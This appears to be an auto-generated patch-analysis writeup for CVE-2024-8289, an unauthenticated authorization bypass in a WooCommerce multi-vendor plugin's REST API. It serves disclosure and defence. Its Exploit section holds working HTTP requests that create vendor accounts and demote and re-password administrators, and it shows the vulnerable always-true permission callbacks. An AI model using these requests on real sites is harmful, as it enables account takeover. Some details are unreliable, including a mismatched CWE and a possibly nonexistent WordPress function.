ANALYSIS · 6db52ae4· FINISHED 2026-06-13 · PATCHDIFF

dc-woocommerce-multi-vendor4.2.0 → 4.2.1✓ COMPLETED

Files300

Vulnerable25

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-8289

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 300 CVE 1 Vuln 25

SORT

1 files · page 1/1

api/class-mvx-rest-vendors-controller.php

AI: 5 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled Key CVE-2024-8289

#%!d(float64=001)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-8289

Security writeup for CVE-2024-8289

✓ 1 FILE

## The Exploit

An unauthenticated attacker can demote any WordPress administrator to the vendor role, create new vendor accounts, or reset passwords of existing vendors by sending POST requests directly to the REST API without authentication.

```http
POST /wp-json/mvx/v1/vendors HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "user_login": "newvendor",
  "user_email": "attacker@evil.com",
  "user_pass": "AttackerControlledPassword123!",
  "role": "vendor"
}
```

The server responds with HTTP 201 and creates the vendor account. No WordPress nonce, no session cookie, no authentication header — the request succeeds. An attacker can repeat this to create multiple accounts, or modify the endpoint to `/wp-json/mvx/v1/vendors/<admin_user_id>` and send a PATCH request with `"role": "vendor"` to demote administrators in batch.

```http
PATCH /wp-json/mvx/v1/vendors/1 HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "role": "vendor",
  "user_pass": "NewPasswordSetByAttacker"
}
```

The attacker's POST response confirms the capability check returned `true` unconditionally. The admin's PATCH response returns 200 OK and the user is now a vendor with a changed password — the account is compromised.

## What the Patch Did

**Before:**

```php
public function get_item_permissions_check( $request ) {
    return true;
    if ( ! current_user_can( 'list_users' ) ) {
        return new WP_Error( 'mvx_rest_cannot_access', __( 'Sorry, you cannot check list vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
    }
    return true;
}

public function update_item_permissions_check( $request ) {
    return true;
    if ( ! current_user_can( 'edit_users' ) ) {
        return new WP_Error( 'mvx_rest_cannot_edit', __( 'Sorry, you cannot edit vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
    }
    return true;
}

public function create_item_permissions_check( $request ) {
    return true;
    if ( ! current_user_can( 'create_users' ) ) {
        return new WP_Error( 'mvx_rest_cannot_create', __( 'Sorry, you cannot create vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
    }
    return true;
}
```

**After:**

```php
public function get_item_permissions_check( $request ) {
    if ( ! current_user_can( 'list_users' ) ) {
        return new WP_Error( 'mvx_rest_cannot_access', __( 'Sorry, you cannot check list vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
    }
    return current_user_can( 'list_users' );
}

public function update_item_permissions_check( $request ) {
    if ( ! current_user_can( 'edit_users' ) ) {
        return new WP_Error( 'mvx_rest_cannot_edit', __( 'Sorry, you cannot edit vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
    }
    return current_user_can( 'edit_users' );
}

public function create_item_permissions_check( $request ) {
    if ( ! current_user_can( 'create_users' ) ) {
        return new WP_Error( 'mvx_rest_cannot_create', __( 'Sorry, you cannot create vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
    }
    return current_user_can( 'create_users' );
}
```

The patch removed the unconditional `return true;` statements that short-circuited all authorization logic before capability checks could execute. The critical change is deletion of the early return — replacing it with an actual capability check that gates access. The trailing `return true;` at the end was replaced with `return current_user_can(...)`, ensuring the permission check result is actually evaluated by the REST API dispatcher.

## Root Cause

**CWE-862: Missing Authorization.** The vulnerable code path enters through REST API endpoints registered for `mvx/v1/vendors` resource. The `$request` parameter is attacker-controlled and populated directly from the HTTP request body and query string. The permission check callbacks — `get_item_permissions_check()`, `update_item_permissions_check()`, and `create_item_permissions_check()` — are responsible for validating that `current_user_can()` returns true before the REST dispatcher calls the actual operation (create, read, update). However, both permission check functions executed an unconditional `return true;` on the first line, which exits the function immediately. The WordPress REST API treats any truthy return value as authorization success, so the unreachable `current_user_can()` capability checks below were never evaluated. The trust boundary crossing — from unauthenticated HTTP request to vendor account creation — occurs with zero validation.

## Why It Works

The load-bearing line in the patch is the **removal** of `return true;` at the function entry point. If that line remained, the entire capability check block below it would remain unreachable dead code, regardless of whether the trailing `return true;` was fixed. The engineer's second fix — changing the final line from `return true;` to `return current_user_can(...)` — ensures that if someone removes only the early return in the future, the function still enforces a real check rather than silently passing auth by default. This is defence-in-depth: the first change (removing the early return) is the actual security fix; the second change (returning the capability check result) prevents a regression path where the early return is deleted but auth still passes due to a trailing blanket `return true;`. Together they eliminate all paths to authorization bypass.

## Hardening Checklist

- **Audit all REST API permission check callbacks** by grep-searching for `permissions_check` functions in your plugin's API controller classes. Run them through a linter or code review to confirm there is no unreachable code path (such as an early `return true;` or a catch-all `return true;` at the end) that could bypass the intended `current_user_can()` checks.
- **Use `wp_verify_rest_request()`** or `is_user_logged_in()` as a first sanity check before any capability check; this prevents REST endpoints from being callable by the `wp_ajax_nopriv` unauthenticated hook or REST's public endpoints by accident.
- **Test your REST permission checks with unauthenticated requests** as part of your security test suite; use a tool like `curl` with no authentication headers to confirm your API rejects requests with HTTP 403 or your custom error response, not HTTP 200.
- **Return the result of `current_user_can()`** from your permission check callback, not a hardcoded `true` or `false`. Let WordPress' REST dispatcher see the actual capability result.
- **Document which capabilities your endpoints require** in code comments (e.g., `// Requires: 'edit_users' capability`) so future maintainers understand the threat model and don't accidentally "simplify" the check by removing it.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-8289

CVE CVE-2024-8289

PRODUCT dc-woocommerce-multi-vendor

AFFECTED ≤ 4.2.0

FIXED IN 4.2.1

STATUS Generated

Security writeup · CVE-2024-8289

Source files · 1

api/class-mvx-rest-vendors-controller.php Linked

↗ NVD